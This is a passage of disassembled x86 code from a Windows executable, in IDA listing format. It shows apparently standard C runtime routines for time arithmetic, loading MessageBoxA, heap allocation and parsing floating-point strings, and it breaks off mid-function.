		mov	dword_424B24, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_424A80
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_424B28, eax
		jns	short loc_41801E
		add	eax, 5265C00h
		dec	ecx
		mov	dword_424B28, eax
		jmp	short loc_41802F
; ---------------------------------------------------------------------------


loc_41801E:				; CODE XREF: sub_417EFF+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_418035
		sub	eax, edx
		inc	ecx
		mov	dword_424B28, eax


loc_41802F:				; CODE XREF: sub_417EFF+11Dj
		mov	dword_424B24, ecx


loc_418035:				; CODE XREF: sub_417EFF+126j
		mov	dword_424B20, ebx


loc_41803B:				; CODE XREF: sub_417EFF+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417EFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41803F	proc near		; CODE XREF: sub_41628E+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_418050
		add	esp, 0Ch
		retn
sub_41803F	endp


; =============== S U B	R O U T	I N E =======================================



sub_418050	proc near		; CODE XREF: sub_41803F+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4BB6A1[eax], cl
		jnz	short loc_41807D
		cmp	[esp+arg_4], 0
		jz	short loc_418076
		movzx	eax, word_42422E[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_418078
; ---------------------------------------------------------------------------


loc_418076:				; CODE XREF: sub_418050+16j
		xor	eax, eax


loc_418078:				; CODE XREF: sub_418050+24j
		test	eax, eax
		jnz	short loc_41807D
		retn
; ---------------------------------------------------------------------------


loc_41807D:				; CODE XREF: sub_418050+Fj
					; sub_418050+2Aj
		push	1
		pop	eax
		retn
sub_418050	endp


; =============== S U B	R O U T	I N E =======================================



sub_418081	proc near		; CODE XREF: sub_416839+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4BA544, ebx
		push	esi
		push	edi
		jnz	short loc_4180D0
		push	offset aUser32_dll ; "user32.dll"
		call	dword_41A09C	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_418106
		mov	esi, dword_41A0A0
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4BA544, eax
		jz	short loc_418106
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4BA548, eax
		call	esi	; GetProcAddress
		mov	dword_4BA54C, eax


loc_4180D0:				; CODE XREF: sub_418081+Bj
		mov	eax, dword_4BA548
		test	eax, eax
		jz	short loc_4180EF
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4180EF
		mov	eax, dword_4BA54C
		test	eax, eax
		jz	short loc_4180EF
		push	ebx
		call	eax
		mov	ebx, eax


loc_4180EF:				; CODE XREF: sub_418081+56j
					; sub_418081+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4BA544


loc_418102:				; CODE XREF: sub_418081+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418106:				; CODE XREF: sub_418081+1Cj
					; sub_418081+33j
		xor	eax, eax
		jmp	short loc_418102
sub_418081	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41810A	proc near		; CODE XREF: sub_4169F6+22p
					; sub_4169F6+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_41812B
		test	esi, esi
		jnz	short loc_418125
		push	1
		pop	esi


loc_418125:				; CODE XREF: sub_41810A+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41812B:				; CODE XREF: sub_41810A+12j
					; sub_41810A+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41818A
		mov	eax, dword_4BB8E4
		cmp	eax, 3
		jnz	short loc_418156
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4BB8DC
		ja	short loc_418175
		push	eax
		call	sub_411B43
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4181A0
		jmp	short loc_418175
; ---------------------------------------------------------------------------


loc_418156:				; CODE XREF: sub_41810A+30j
		cmp	eax, 2
		jnz	short loc_418175
		cmp	esi, dword_4240CC
		ja	short loc_418175
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_4125E6
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4181B4


loc_418175:				; CODE XREF: sub_41810A+3Bj
					; sub_41810A+4Aj ...
		push	esi
		push	8
		push	dword_4BB8E0
		call	dword_41A120	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4181AE


loc_41818A:				; CODE XREF: sub_41810A+26j
		cmp	dword_4BA2DC, 0
		jz	short loc_4181AE
		push	esi
		call	sub_4115BA
		test	eax, eax
		pop	ecx
		jz	short loc_4181B7
		jmp	short loc_41812B
; ---------------------------------------------------------------------------


loc_4181A0:				; CODE XREF: sub_41810A+48j
		push	[ebp+arg_0]


loc_4181A3:				; CODE XREF: sub_41810A+ABj
		push	0
		push	edi
		call	sub_40E800
		add	esp, 0Ch


loc_4181AE:				; CODE XREF: sub_41810A+7Ej
					; sub_41810A+87j
		mov	eax, edi


loc_4181B0:				; CODE XREF: sub_41810A+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4181B4:				; CODE XREF: sub_41810A+69j
		push	esi
		jmp	short loc_4181A3
; ---------------------------------------------------------------------------


loc_4181B7:				; CODE XREF: sub_41810A+92j
		xor	eax, eax
		jmp	short loc_4181B0
sub_41810A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_416A9B


loc_4181BB:				; CODE XREF: sub_416A9B+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4BB580, esi
		jle	short loc_41820E


loc_4181CA:				; CODE XREF: sub_416A9B+1771j
		mov	eax, dword_4BA570
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_418205
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4181E9
		push	eax
		call	sub_40FC04
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4181E9
		inc	edi


loc_4181E9:				; CODE XREF: sub_416A9B+173Fj
					; sub_416A9B+174Bj
		cmp	esi, 14h
		jl	short loc_418205
		mov	eax, dword_4BA570
		push	dword ptr [eax+esi*4]
		call	sub_40ECAF
		mov	eax, dword_4BA570
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_418205:				; CODE XREF: sub_416A9B+1739j
					; sub_416A9B+1751j
		inc	esi
		cmp	esi, dword_4BB580
		jl	short loc_4181CA


loc_41820E:				; CODE XREF: sub_416A9B+172Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_416A9B

; =============== S U B	R O U T	I N E =======================================



sub_418213	proc near		; CODE XREF: sub_416CC9+2Bp
					; sub_416CC9+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_418229
		cmp	ecx, esi
		jnb	short loc_41822C


loc_418229:				; CODE XREF: sub_418213+10j
		push	1
		pop	eax


loc_41822C:				; CODE XREF: sub_418213+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_418213	endp


; =============== S U B	R O U T	I N E =======================================



sub_418234	proc near		; CODE XREF: sub_4182ED+40p
					; sub_4182ED+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_418213
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418266
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_418213
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418266
		inc	dword ptr [esi+8]


loc_418266:				; CODE XREF: sub_418234+19j
					; sub_418234+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_418213
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41827E
		inc	dword ptr [esi+8]


loc_41827E:				; CODE XREF: sub_418234+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_418213
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_418234	endp


; =============== S U B	R O U T	I N E =======================================



sub_418292	proc near		; CODE XREF: sub_4182ED+30p
					; sub_4182ED+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_418292	endp


; =============== S U B	R O U T	I N E =======================================



sub_4182C0	proc near		; CODE XREF: sub_418885+1C8p
					; sub_418E4D+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4182C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182ED	proc near		; CODE XREF: sub_4183B4+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_418361
		push	edi
		mov	[ebp+arg_8], eax


loc_418314:				; CODE XREF: sub_4182ED+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_418292
		push	ebx
		call	sub_418292
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_418234
		push	ebx
		call	sub_418292
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_418234
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_418314
		xor	edx, edx
		pop	edi


loc_418361:				; CODE XREF: sub_4182ED+21j
					; sub_4182ED+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41838E
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_418361
; ---------------------------------------------------------------------------


loc_41838E:				; CODE XREF: sub_4182ED+77j
		mov	esi, 8000h


loc_418393:				; CODE XREF: sub_4182ED+B9j
		test	[ebx+8], esi
		jnz	short loc_4183A8
		push	ebx
		call	sub_418292
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_418393
; ---------------------------------------------------------------------------


loc_4183A8:				; CODE XREF: sub_4182ED+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4182ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4183B4	proc near		; CODE XREF: sub_417012+17p
					; sub_41703F+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4183EF:				; CODE XREF: sub_4183B4+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_418405
		cmp	cl, 9
		jz	short loc_418405
		cmp	cl, 0Ah
		jz	short loc_418405
		cmp	cl, 0Dh
		jnz	short loc_418408


loc_418405:				; CODE XREF: sub_4183B4+40j
					; sub_4183B4+45j ...
		inc	edi
		jmp	short loc_4183EF
; ---------------------------------------------------------------------------


loc_418408:				; CODE XREF: sub_4183B4+4Fj
		push	4
		pop	esi


loc_41840B:				; CODE XREF: sub_4183B4+AEj
					; sub_4183B4+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41868E	; default
					; jumptable 00418417 case 10
		jmp	off_418855[eax*4] ; switch jump


loc_41841E:				; DATA XREF: .packed:off_418855o
		cmp	bl, 31h		; jumptable 00418417 case 0
		jl	short loc_41842F
		cmp	bl, 39h
		jg	short loc_41842F


loc_418428:				; CODE XREF: sub_4183B4+C4j
					; sub_4183B4+118j
		push	3
		jmp	loc_41864C
; ---------------------------------------------------------------------------


loc_41842F:				; CODE XREF: sub_4183B4+6Dj
					; sub_4183B4+72j
		cmp	bl, byte_424434
		jnz	short loc_41843E


loc_418437:				; CODE XREF: sub_4183B4+124j
		push	5
		jmp	loc_418684
; ---------------------------------------------------------------------------


loc_41843E:				; CODE XREF: sub_4183B4+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_418464
		dec	eax
		dec	eax
		jz	short loc_418458
		sub	eax, 3
		jnz	loc_418727
		jmp	loc_4184E7
; ---------------------------------------------------------------------------


loc_418458:				; CODE XREF: sub_4183B4+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41840B
; ---------------------------------------------------------------------------


loc_418464:				; CODE XREF: sub_4183B4+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41840B
; ---------------------------------------------------------------------------


loc_41846D:				; CODE XREF: sub_4183B4+63j
					; DATA XREF: .packed:off_418855o
		cmp	bl, 31h		; jumptable 00418417 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41847A
		cmp	bl, 39h
		jle	short loc_418428


loc_41847A:				; CODE XREF: sub_4183B4+BFj
		cmp	bl, byte_424434
		jz	loc_418542
		cmp	bl, 2Bh
		jz	short loc_4184BC
		cmp	bl, 2Dh
		jz	short loc_4184BC
		cmp	bl, 30h
		jz	short loc_4184E7


loc_418495:				; CODE XREF: sub_4183B4+207j
		cmp	bl, 43h
		jle	loc_418727
		cmp	bl, 45h
		jle	short loc_4184B5
		cmp	bl, 63h
		jle	loc_418727
		cmp	bl, 65h
		jg	loc_418727


loc_4184B5:				; CODE XREF: sub_4183B4+EDj
		push	6
		jmp	loc_418684
; ---------------------------------------------------------------------------


loc_4184BC:				; CODE XREF: sub_4183B4+D5j
					; sub_4183B4+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_418684
; ---------------------------------------------------------------------------


loc_4184C4:				; CODE XREF: sub_4183B4+63j
					; DATA XREF: .packed:off_418855o
		cmp	bl, 31h		; jumptable 00418417 case 2
		jl	short loc_4184D2
		cmp	bl, 39h
		jle	loc_418428


loc_4184D2:				; CODE XREF: sub_4183B4+113j
		cmp	bl, byte_424434
		jz	loc_418437
		cmp	bl, 30h
		jnz	loc_41869C


loc_4184E7:				; CODE XREF: sub_4183B4+9Fj
					; sub_4183B4+DFj
		mov	eax, edx
		jmp	loc_41840B
; ---------------------------------------------------------------------------


loc_4184EE:				; CODE XREF: sub_4183B4+63j
					; DATA XREF: .packed:off_418855o
		mov	[ebp+var_10], edx ; jumptable 00418417 case 3


loc_4184F1:				; CODE XREF: sub_4183B4+184j
		cmp	dword_424430, edx
		jle	short loc_41850A
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_414E86
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_418518
; ---------------------------------------------------------------------------


loc_41850A:				; CODE XREF: sub_4183B4+143j
		mov	ecx, off_424224
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_418518:				; CODE XREF: sub_4183B4+154j
		test	eax, eax
		jz	short loc_41853A
		cmp	[ebp+var_4], 19h
		jnb	short loc_418532
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_418535
; ---------------------------------------------------------------------------


loc_418532:				; CODE XREF: sub_4183B4+16Cj
		inc	[ebp+var_8]


loc_418535:				; CODE XREF: sub_4183B4+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4184F1
; ---------------------------------------------------------------------------


loc_41853A:				; CODE XREF: sub_4183B4+166j
		cmp	bl, byte_424434
		jnz	short loc_4185A9


loc_418542:				; CODE XREF: sub_4183B4+CCj
		mov	eax, esi
		jmp	loc_41840B
; ---------------------------------------------------------------------------


loc_418549:				; CODE XREF: sub_4183B4+63j
					; DATA XREF: .packed:off_418855o
		cmp	[ebp+var_4], 0	; jumptable 00418417 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_418562


loc_418555:				; CODE XREF: sub_4183B4+1ACj
		cmp	bl, 30h
		jnz	short loc_418562
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_418555
; ---------------------------------------------------------------------------


loc_418562:				; CODE XREF: sub_4183B4+19Fj
					; sub_4183B4+1A4j ...
		cmp	dword_424430, edx
		jle	short loc_41857B
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_414E86
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_418589
; ---------------------------------------------------------------------------


loc_41857B:				; CODE XREF: sub_4183B4+1B4j
		mov	ecx, off_424224
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_418589:				; CODE XREF: sub_4183B4+1C5j
		test	eax, eax
		jz	short loc_4185A9
		cmp	[ebp+var_4], 19h
		jnb	short loc_4185A4
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4185A4:				; CODE XREF: sub_4183B4+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_418562
; ---------------------------------------------------------------------------


loc_4185A9:				; CODE XREF: sub_4183B4+18Cj
					; sub_4183B4+1D7j
		cmp	bl, 2Bh
		jz	loc_4184BC
		cmp	bl, 2Dh
		jz	loc_4184BC
		jmp	loc_418495
; ---------------------------------------------------------------------------


loc_4185C0:				; CODE XREF: sub_4183B4+63j
					; DATA XREF: .packed:off_418855o
		cmp	dword_424430, edx ; jumptable 00418417 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4185DC
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_414E86
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4185EA
; ---------------------------------------------------------------------------


loc_4185DC:				; CODE XREF: sub_4183B4+215j
		mov	ecx, off_424224
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4185EA:				; CODE XREF: sub_4183B4+226j
		test	eax, eax
		jz	loc_41869C
		mov	eax, esi
		jmp	short loc_41864D
; ---------------------------------------------------------------------------


loc_4185F6:				; CODE XREF: sub_4183B4+63j
					; DATA XREF: .packed:off_418855o
		lea	ecx, [edi-2]	; jumptable 00418417 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_418606
		cmp	bl, 39h
		jle	short loc_41864A


loc_418606:				; CODE XREF: sub_4183B4+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_418682
		dec	eax
		dec	eax
		jz	short loc_418676
		sub	eax, 3
		jnz	loc_41872A


loc_41861B:				; CODE XREF: sub_4183B4+2A4j
		push	8
		jmp	short loc_418684
; ---------------------------------------------------------------------------


loc_41861F:				; CODE XREF: sub_4183B4+63j
					; DATA XREF: .packed:off_418855o
		mov	[ebp+var_20], edx ; jumptable 00418417 case 8


loc_418622:				; CODE XREF: sub_4183B4+276j
		cmp	bl, 30h
		jnz	short loc_41862C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_418622
; ---------------------------------------------------------------------------


loc_41862C:				; CODE XREF: sub_4183B4+271j
		cmp	bl, 31h
		jl	loc_418727
		cmp	bl, 39h
		jg	loc_418727
		jmp	short loc_41864A
; ---------------------------------------------------------------------------


loc_418640:				; CODE XREF: sub_4183B4+63j
					; DATA XREF: .packed:off_418855o
		cmp	bl, 31h		; jumptable 00418417 case 7
		jl	short loc_418653
		cmp	bl, 39h
		jg	short loc_418653


loc_41864A:				; CODE XREF: sub_4183B4+250j
					; sub_4183B4+28Aj
		push	9


loc_41864C:				; CODE XREF: sub_4183B4+76j
		pop	eax


loc_41864D:				; CODE XREF: sub_4183B4+240j
		dec	edi
		jmp	loc_41840B
; ---------------------------------------------------------------------------


loc_418653:				; CODE XREF: sub_4183B4+28Fj
					; sub_4183B4+294j
		cmp	bl, 30h
		jnz	short loc_41869C
		jmp	short loc_41861B
; ---------------------------------------------------------------------------


loc_41865A:				; CODE XREF: sub_4183B4+63j
					; DATA XREF: .packed:off_418855o
		cmp	[ebp+arg_18], 0	; jumptable 00418417 case 11
		jz	short loc_41868A
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_418682
		dec	eax
		dec	eax
		jnz	loc_41872A


loc_418676:				; CODE XREF: sub_4183B4+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41840B
; ---------------------------------------------------------------------------


loc_418682:				; CODE XREF: sub_4183B4+258j
					; sub_4183B4+2B8j
		push	7


loc_418684:				; CODE XREF: sub_4183B4+85j
					; sub_4183B4+103j ...
		pop	eax
		jmp	loc_41840B
; ---------------------------------------------------------------------------


loc_41868A:				; CODE XREF: sub_4183B4+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41868E:				; CODE XREF: sub_4183B4+5Dj
					; sub_4183B4+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00418417 case 10
		jz	loc_41872C
		jmp	loc_41840B
; ---------------------------------------------------------------------------


loc_41869C:				; CODE XREF: sub_4183B4+12Dj
					; sub_4183B4+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41872C
; ---------------------------------------------------------------------------


loc_4186A4:				; CODE XREF: sub_4183B4+63j
					; DATA XREF: .packed:off_418855o
		mov	[ebp+var_20], 1	; jumptable 00418417 case 9
		xor	esi, esi


loc_4186AD:				; CODE XREF: sub_4183B4+339j
		cmp	dword_424430, 1
		jle	short loc_4186C5
		movzx	eax, bl
		push	4
		push	eax
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_4186D4
; ---------------------------------------------------------------------------


loc_4186C5:				; CODE XREF: sub_4183B4+300j
		mov	ecx, off_424224
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4186D4:				; CODE XREF: sub_4183B4+30Fj
		test	eax, eax
		jz	short loc_4186F4
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4186EF
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4186AD
; ---------------------------------------------------------------------------


loc_4186EF:				; CODE XREF: sub_4183B4+334j
		mov	esi, 1451h


loc_4186F4:				; CODE XREF: sub_4183B4+322j
		mov	[ebp+var_1C], esi


loc_4186F7:				; CODE XREF: sub_4183B4+371j
		cmp	dword_424430, 1
		jle	short loc_41870F
		movzx	eax, bl
		push	4
		push	eax
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_41871E
; ---------------------------------------------------------------------------


loc_41870F:				; CODE XREF: sub_4183B4+34Aj
		mov	ecx, off_424224
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41871E:				; CODE XREF: sub_4183B4+359j
		test	eax, eax
		jz	short loc_418727
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4186F7
; ---------------------------------------------------------------------------


loc_418727:				; CODE XREF: sub_4183B4+99j
					; sub_4183B4+E4j ...
		dec	edi
		jmp	short loc_41872C
; ---------------------------------------------------------------------------


loc_41872A:				; CODE XREF: sub_4183B4+261j
					; sub_4183B4+2BCj
		mov	edi, ecx


loc_41872C:				; CODE XREF: sub_4183B4+2DDj
					; sub_4183B4+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_418814
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_418758
		cmp	[ebp+var_45], 5
		jl	short loc_41874C
		inc	[ebp+var_45]


loc_41874C:				; CODE XREF: sub_4183B4+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41875B
; ---------------------------------------------------------------------------


loc_418758:				; CODE XREF: sub_4183B4+38Dj
		mov	eax, [ebp+var_C]


loc_41875B:				; CODE XREF: sub_4183B4+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41880A


loc_418765:				; CODE XREF: sub_4183B4+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_418773
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_418765
; ---------------------------------------------------------------------------


loc_418773:				; CODE XREF: sub_4183B4+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4182ED
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_418792
		neg	eax


loc_418792:				; CODE XREF: sub_4183B4+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41879D
		add	eax, [ebp+arg_10]


loc_41879D:				; CODE XREF: sub_4183B4+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4187A5
		sub	eax, [ebp+arg_14]


loc_4187A5:				; CODE XREF: sub_4183B4+3ECj
		cmp	eax, 1450h
		jle	short loc_4187DC
		mov	[ebp+var_2C], 1


loc_4187B3:				; CODE XREF: sub_4183B4+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4187BF:				; CODE XREF: sub_4183B4+454j
					; sub_4183B4+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_418825
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41883A
; ---------------------------------------------------------------------------


loc_4187DC:				; CODE XREF: sub_4183B4+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4187EC
		mov	[ebp+var_30], 1
		jmp	short loc_4187B3
; ---------------------------------------------------------------------------


